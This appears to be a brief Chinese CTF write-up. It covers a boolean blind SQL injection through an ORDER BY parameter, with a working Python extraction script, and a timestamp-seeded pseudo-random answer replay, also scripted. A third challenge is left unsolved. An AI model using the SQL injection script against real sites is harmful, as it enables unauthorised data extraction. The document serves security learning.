边听大佬直播边写wp
第一题:sql注入
提示信息:
- order注入
- select flag from flag
order注入表示利用布尔注入看最终的排序情况
select flag from flag表示不用查库查表,直接上手
直接跑python脚本
import requests
payloads = list('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.{}?!')
sjk = ''
for i in range(1,30):
for j in payloads:
response = requests.get('http://101.71.29.5:10004/?order=if(substr((select%%20flag%%20from%%20flag),%s,1)=%%27%s%%27,name,id)&button=submit' % (i,j))
data=response.content.decode("utf-8")
if data.find('Beer')<data.find('snacks'):
sjk+=j
print(j)
break
print(sjk)
第二题:
一开始想成是md5的hash扩展长度攻击,但是有没有办法匹配。又想是key的遍历,觉得也不太靠谱。时间戳倒是想到了,但是没想到是一秒内时间戳,看了wp就已经懂了。
随机函数是由时间戳决定的,属于伪随机,精度为秒。
当我们随便输入一串md5时,他会给出刚才提交时的时间戳形成的 resault再次提交以获得flag
import requests
import re
import io
import sys
url="http://192.168.32.128/flag.php"
s=requests.Session()
s.encoding='utf-8'
payload={'answer':'6dc32db3170899e5b138eb4becaf69a8'}
q=s.post(url,data=payload)
html_doc=q.content.decode('utf-8')
payload={'answer':html_doc[160:192]}
q=s.post(url,data=payload)
print(q.content.decode('utf-8'))
具体实现等下周二复现。
第三题
原谅我不会写。等下周二复现。
注:第一题sqlmap的用法等下周二复现,第二题具体操作等下周二复现,第三题所有做法等下周二复现。